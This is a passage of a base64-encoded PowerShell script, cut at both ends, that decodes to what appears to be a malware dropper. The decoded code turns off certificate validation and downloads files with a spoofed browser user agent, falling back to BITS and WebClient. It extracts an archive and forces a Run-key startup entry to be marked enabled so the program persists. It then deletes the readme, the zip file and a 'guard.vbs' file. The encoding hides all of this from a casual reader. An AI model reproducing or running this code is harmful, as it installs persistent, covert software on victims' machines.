QAUgBlAGEAZABtAGUAUABhAHQAaAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAHIAZQBhAGQAbQBlAC4AbQBkACcACgAKACQAUgB1AG4ASwBlAHkAIAAgACAAIAAgACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAKACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARQB4AHAAbABvAHIAZQByAFwAUwB0AGEAcgB0AHUAcABBAHAAcAByAG8AdgBlAGQAXABSAHUAbgAnAAoACgAkAEUAbgBhAGIAbABlAGQAQgBsAG8AYgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AKAAwAHgAMAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzACAAewAKACAAIAAgACAAJABmAGwAYQBnAHMAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABuACAAaQBuACAAQAAoACcAVABsAHMAMQAzACcALAAnAFQAbABzADEAMgAnACwAJwBUAGwAcwAxADEAJwAsACcAVABsAHMAJwAsACcAUwBzAGwAMwAnACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AGEAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAJABuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHYAYQBsACkAIAB7ACAAJABmAGwAYQBnAHMAIAA9ACAAJABmAGwAYQBnAHMAIAAtAGIAbwByACAAWwBpAG4AdABdACQAdgBhAGwAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGYAbABhAGcAcwAgAC0AZQBxACAAMAApACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQAkAGYAbABhAGcAcwAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB7AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQByAGEAbQAoACQAcwAsACQAYwAsACQAYwBoACwAJABlACkAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAewAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgACQAbgB1AGwAbAAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzAAoACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgBvAG8AbABdACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAALQBOAGEAbQBlACAAJABOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAJABPAGIAagBlAGMAdAAsAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAE8AYgBqAGUAYwB0ACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABPAGIAagBlAGMAdAAuAFAAUwBPAGIAagBlAGMAdAAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAE4AYQBtAGUAXQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcAAuAFYAYQBsAHUAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABSAHUAbgBOAGEAbQBlACkACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUAIAB9AAoACgAgACAAIAAgACQAcgB1AG4ASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABSAHUAbgBLAGUAeQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAHIAdQBuAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAcgB1AG4AVgBhAGwAdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAgAH0ACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEEAcABwAHIAbwB2AGUAZABSAHUAbgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAKACAAIAAgACAAJABhAHAAcAByAG8AdgBlAGQASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQAYgBlAGYAbwByAGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAGEAcABwAHIAbwB2AGUAZABJAHQAZQBtACAALQBOAGEAbQBlACAAJABSAHUAbgBOAGEAbQBlAAoACgAgACAAIAAgAGkAZgAgACgAJABiAGUAZgBvAHIAZQAgAC0AYQBuAGQAIAAkAGIAZQBmAG8AcgBlAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAIAAtAGEAbgBkACAAJABiAGUAZgBvAHIAZQBbADAAXQAgAC0AZQBxACAAMgApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAGEAZgB0AGUAcgAgAD0AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAALQBPAGIAagBlAGMAdAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABhAGYAdABlAHIAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAoACgAJABhAGYAdABlAHIAIAAtAGoAbwBpAG4AIAAnACwAJwApACAALQBlAHEAIAAoACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBqAG8AaQBuACAAJwAsACcAKQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAKQBdAFsAcwB0AHIAaQBuAGcAXQAkAFAAcgBvAGMATgBhAG0AZQAsACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABUAGEAcgBnAGUAdABQAGEAdABoACkACgAgACAAIAAgAAoAIAAgACAAIAAkAGUAeABlACAAPQAgACQAUAByAG8AYwBOAGEAbQBlACAAKwAgACcALgBlAHgAZQAnAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGMAaQBtACAAPQAgAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAZQB4AGUAJwAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAGkAbQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAYwBpAG0AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBpAGUAcQAgACQAVABhAHIAZwBlAHQAUABhAHQAaAApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjAHMAIAA9ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABQAHIAbwBjAE4AYQBtAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAAcgBvAGMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAcAByAG8AYwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAALgBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4AUABhAHQAaAAgAC0AaQBlAHEAIAAkAFQAYQByAGcAZQB0AFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFUAcgBsACwAWwBzAHQAcgBpAG4AZwBdACQATwB1AHQARgBpAGwAZQApAAoAIAAgACAAIAAkAGgAZAByACAAPQAgAEAAewAgACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACAAPQAgACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAIAB9AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQATwB1AHQARgBpAGwAZQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZAByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAIAByAGUAdAB1AHIAbgAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABFAG4AYQBiAGwAZQAtAFIAZQBsAGEAeABlAGQAQwBlAHIAdAA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAE8AdQB0AEYAaQBsAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGQAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAA7ACAAcgBlAHQAdQByAG4AIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAFUAcgBsACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAE8AdQB0AEYAaQBsAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAHIAZQB0AHUAcgBuACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAdABoAHIAbwB3ACAAIgBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJABVAHIAbAAiAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQB4AHAAYQBuAGQALQBaAGkAcABXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFAAYQB0AGgALABbAHMAdAByAGkAbgBnAF0AJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAfQAKACAAIAAgACAAJABzAHIAYwAgACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAApAC4AUABhAHQAaAAKACAAIAAgACAAJABkAGUAcwB0ACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQAuAFAAYQB0AGgACgAgACAAIAAgACQAcwBoAGUAbABsACAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ACgAgACAAIAAgACQAegBpAHAAIAAgACAAIAA9ACAAJABzAGgAZQBsAGwALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAcwByAGMAKQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAgAD0AIAAkAHMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABkAGUAcwB0ACkACgAgACAAIAAgAGkAZgAgACgAJABuAHUAbABsACAALQBlAHEAIAAkAHoAaQBwACkAIAAgACAAIAB7ACAAdABoAHIAbwB3ACAAIgBaAEkAUAAgAG8AcABlAG4AIABmAGEAaQBsAGUAZAA6ACAAJABzAHIAYwAiACAAfQAKACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEQAZQBzAHQAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAOgAgACQAZABlAHMAdAAiACAAfQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAuAEMAbwBwAHkASABlAHIAZQAoACQAegBpAHAALgBJAHQAZQBtAHMAKAApACwAIAAwAHgAMQA0ACkACgAgACAAIAAgACQAZABlAGEAZABsAGkAbgBlACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBBAGQAZABTAGUAYwBvAG4AZABzACgAMQA1ACkACgAgACAAIAAgAHcAaABpAGwAZQAgACgAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AbAB0ACAAJABkAGUAYQBkAGwAaQBuAGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7ACAAYgByAGUAYQBrACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMgAwADAACgAgACAAIAAgAH0ACgB9AAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKACQAcgB1AG4AbgBpAG4AZwAgACAAIAA9ACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAAtAFAAcgBvAGMATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAC0AVABhAHIAZwBlAHQAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKACQAZQB4AGUARQB4AGkAcwB0AHMAIAA9ACAAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKAAoAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAZQBFAHgAaQBzAHQAcwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJAByAHUAbgBuAGkAbgBnACkAIAB7AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBnAHUAYQByAGQALgB2AGIAcwAnACkAIAAtAEYAbwByAGMAZQAgAC0ARQ